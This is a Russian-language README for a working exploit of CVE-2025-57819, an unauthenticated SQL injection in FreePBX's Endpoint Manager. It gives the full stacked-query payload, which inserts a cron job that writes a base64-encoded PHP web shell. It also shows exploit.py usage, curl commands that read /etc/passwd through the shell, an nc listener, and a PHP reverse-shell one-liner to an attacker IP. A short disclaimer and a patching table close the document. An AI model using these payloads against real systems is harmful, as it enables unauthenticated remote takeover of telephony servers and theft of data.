
Неаутентифицированная SQL-инъекция в FreePBX Endpoint Manager (CVE-2025-57819), которая внедряет PHP-веб-шелл, запускаемый по cron, для удаленного выполнения кода.
FreePBX — это веб-интерфейс с открытым исходным кодом для Asterisk PBX, широко используемый в корпоративных телефониях. Модуль Endpoint Manager предоставляет обработчик AJAX по адресу /admin/ajax.php, который принимает параметр brand и вставляет его напрямую в SQL-запрос без санитизации. Неаутентифицированный удаленный злоумышленник может внедрить произвольный SQL, добавить строку в таблицу cron_jobs и заставить демон cron FreePBX записать исполняемый PHP-веб-шелл в корень веб-сервера — что приводит к неаутентифицированному удаленному выполнению кода примерно за одну минуту.
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-57819 |
| Оценка CVSS | 9.8 (Критический) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Некорректная нейтрализация специальных элементов, используемых в SQL-команде |
| Компонент | Модуль Endpoint Manager FreePBX |
| Затронутые версии | FreePBX 17.x (неисправленная) |
| Исправленные версии | FreePBX 17.x (исправленная) |
| Вектор атаки | Сеть — аутентификация не требуется |
Уязвимый запрос направлен на обработчик AJAX-команд Endpoint Manager:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
Параметр brand конкатенируется в SQL-запрос без экранирования или подготовленных выражений. Злоумышленник закрывает строку запроса и добавляет второй оператор:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
Внедренная запись cron выполняется каждую минуту от имени владельца процесса веб-сервера/Asterisk и записывает:
<?php system($_GET[cmd]); ?>
в /var/www/html/webshell.php, что обеспечивает неаутентифицированное выполнение команд ОС через HTTP.
Обработчик AJAX Endpoint Manager динамически формирует SQL с помощью форматирования строк, а не параметризованных запросов. Поле brand никогда не проверяется и не экранируется перед встраиванием в оператор SELECT, что делает его тривиально инжектируемым.
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
pip install requests urllib3
-t, --target IP-адрес или имя хоста цели (обязательно)
--timeout Время ожидания доступности цели в секундах (по умолчанию: 30)
--delay Время ожидания выполнения задачи cron в секундах (по умолчанию: 65)
1. Запустите эксплойт против цели:
# Базовый — ожидание 65 с для запуска задачи cron
python3 exploit.py -t <IP>
# Использование имени хоста
python3 exploit.py -t connected.htb
# Увеличенное ожидание на медленных целях
python3 exploit.py -t <IP> --delay 90
2. Если веб-шелл подтвержден, взаимодействуйте с ним напрямую:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Повысьте до реверс-шелла через веб-шелл:
Запустите слушатель на вашей машине:
nc -lvnp <LOCAL_PORT>
Затем активируйте PHP-реверс-шелл через параметр cmd (URL-кодированный):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
Раскодированная полезная нагрузка, отправленная как cmd:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ Модуль FreePBX Endpoint · SQL-инъекция → Веб-шелл через Cron ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : Модуль Endpoint Manager FreePBX
Affected : неисправленная 17.x → Исправленная: исправленная 17.x
CVSS Score : 9.8 (Критический)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL-инъекция
Type : Неаутентифицированная SQL-инъекция → Веб-шелл PHP по расписанию Cron
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Проверка цели <IP> (макс. 30 с) ...
14:03:12 [+] Цель активна — HTTP 200
14:03:12 [*] Точка инъекции : http://<IP>/admin/ajax.php
14:03:12 [!] Внедрение задачи cron через SQL-инъекцию ...
14:03:12 [+] Запрос на инъекцию отправлен
14:03:12 [*] Ожидание 65 с для запуска задачи cron ...
14:04:17 [*] Проверка веб-шелла at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Веб-шелл активен — вывод команды:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] URL веб-шелла: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Процедура эксплойта завершена.
Примечание по времени. Значение
--delayпо умолчанию (65 секунд) гарантирует, что демон cron (который запускается в начале каждой минуты) получил хотя бы одну возможность выполнить внедренную задачу. На медленных целях увеличьте до--delay 90или--delay 120.
Данный эксплойт предоставлен строго в образовательных целях и для авторизованного тестирования безопасности. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование незаконно и неэтично.
| Приоритет | Действие |
|---|
| Критический | Немедленно установите патч от вендора FreePBX для CVE-2025-57819 |
| Критический | Удалите все существующие артефакты /var/www/html/webshell.php |
| Высокий | Ограничьте доступ к /admin/ajax.php только аутентифицированными доверенными источниками сети |
| Высокий | Проверьте и санитизируйте все SQL-запросы в Endpoint Manager — используйте подготовленные выражения |
| Средний | Ограничьте таблицу cron_jobs: ограничьте, какие роли могут выполнять INSERT |
| Средний | Примените правило WAF, блокирующее шаблоны stacked-query на конечной точке AJAX |
| Низкий | Запускайте процесс FreePBX/Asterisk под учетной записью с минимальными привилегиями и без права записи в корень веб-сервера |